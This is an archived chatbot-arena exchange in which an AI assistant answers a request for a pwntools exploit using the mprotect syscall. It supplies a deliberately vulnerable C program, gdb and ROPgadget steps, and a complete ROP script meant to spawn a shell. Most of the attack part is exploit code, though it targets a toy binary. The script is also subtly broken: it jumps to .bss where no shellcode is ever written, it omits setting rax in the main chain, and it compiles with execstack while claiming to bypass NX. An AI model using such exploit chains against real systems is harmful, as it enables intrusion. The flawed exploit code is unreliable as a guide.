Skip to content
TheChatArchiveThe Chat Archive
chatgpt-4o-latest-20250326· OpenAIHugging Face LMArena Human Preference 140K

Pwn. Syscall - mprotect. Sploiting program using gdb, writeing a script on python using…

From a Chatbot Arena battleThe same person sent this prompt to two anonymous models at once. Compare it with o3-mini’s answer.
  1. User

    Pwn. Syscall - mprotect. Sploiting program using gdb, writeing a script on python using pwntools

  2. Assistant

    Exploiting a binary using mprotect and pwntools typically involves the following steps:

    • Analyzing the binary (e.g., with gdb or pwndbg)
    • Finding a vulnerability (e.g., buffer overflow)
    • Using mprotect to make a memory region executable
    • Injecting shellcode into that region
    • Redirecting execution to the shellcode

    Let’s walk through a basic example of how to do this using pwntools and gdb.

    🛠️ Assumptions:

    • The binary is 64-bit Linux ELF
    • It has a buffer overflow vulnerability
    • NX (non-executable stack) is enabled
    • ASLR is disabled (for simplicity)
    • You can control RIP (instruction pointer)
    • You can call syscalls (e.g., via a syscall gadget)

    🔧 Step-by-step Exploit Plan:

    1. Overflow the buffer to control RIP
    2. Use a syscall gadget to call mprotect
    3. Make a memory region (e.g., stack) executable
    4. Inject shellcode into that region
    5. Jump to shellcode

    🧪 Example Binary (vulnerable.c):

    Here’s a simple vulnerable program:

    // vulnerable.c
    #include <stdio.h>
    #include <string.h>
    
    void vuln() {
        char buf[100];
        read(0, buf, 300);  // buffer overflow
    }
    
    int main() {
        vuln();
        return 0;
    }
    

    Compile with:

    gcc -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
    

    Note: We use -z execstack here for simplicity, but in a real scenario, we assume NX is enabled and we’ll use mprotect to bypass it.

    🔍 Step 1: Analyze the binary

    Use pwndbg or gdb to find:

    • Buffer offset to RIP
    • Useful gadgets (e.g., syscall)
    • Writable memory region (e.g., .bss or stack)

    Find offset:

    gdb ./vulnerable
    > run
    # Send cyclic pattern
    > cyclic 300
    # Crash, then:
    > info registers
    > cyclic -l <value of RIP>
    

    Let’s say offset is 120.

    Find syscall gadget:

    ROPgadget --binary vulnerable | grep syscall
    

    Let’s say we find:

    0x0000000000401010 : syscall ; ret
    

    Find a pop rdi; pop rsi; pop rdx; ret gadget (for setting syscall args):

    ROPgadget --binary vulnerable | grep 'pop rdi'
    

    Let’s say:

    • pop rdi; ret: 0x40101a
    • pop rsi; ret: 0x40101b
    • pop rdx; ret: 0x40101c

    Find a writable memory region (e.g., .bss):

    readelf -S vulnerable | grep .bss
    

    Let’s say .bss is at 0x404000

    🧠 Step 2: Write the Exploit in Python (pwntools)

    Here’s a full exploit script:

    from pwn import *
    
    context.binary = './vulnerable'
    context.terminal = ['tmux', 'splitw', '-h']
    context.log_level = 'debug'
    
    elf = context.binary
    p = process(elf.path)
    
    # Gadgets
    pop_rdi = 0x40101a
    pop_rsi = 0x40101b
    pop_rdx = 0x40101c
    syscall = 0x401010
    
    # Memory region to mprotect (page-aligned)
    shellcode_addr = 0x404000
    shellcode_size = 0x1000  # 4096 bytes
    prot_flags = 7  # PROT_READ | PROT_WRITE | PROT_EXEC
    
    # Offset to RIP
    offset = 120
    
    # Shellcode (execve /bin/sh)
    shellcode = asm(shellcraft.sh())
    
    # Build ROP chain
    rop = flat(
        b'A' * offset,
        pop_rdi, shellcode_addr,
        pop_rsi, shellcode_size,
        pop_rdx, prot_flags,
        syscall,  # mprotect(shellcode_addr, 0x1000, 7)
        shellcode_addr  # jump to shellcode
    )
    
    # Send payload
    p.send(rop + b'\x90' * 100 + shellcode)
    
    p.interactive()
    

    🧪 Test the Exploit

    Run the script:

    python3 exploit.py
    

    You should get a shell.

    🧠 Notes:

    • mprotect syscall number on x86_64 is 10
    • You may need to set rax = 10 before syscall
    • If so, find a pop rax; ret gadget and add it

    Example:

    pop_rax = 0x40101d
    ...
    rop = flat(
        b'A' * offset,
        pop_rax, 10,
        pop_rdi, shellcode_addr,
        pop_rsi, shellcode_size,
        pop_rdx, prot_flags,
        syscall,
        shellcode_addr
    )
    

    ✅ Summary

    • Use buffer overflow to control RIP
    • Use syscall gadget to call mprotect
    • Make memory executable
    • Inject shellcode
    • Jump to shellcode

    Let me know if you want a real binary to test or help with ASLR/PIE bypass.

Responses were produced in different, uncontrolled contexts (system prompts, settings, prior turns). This is not a benchmark.

Identical first prompt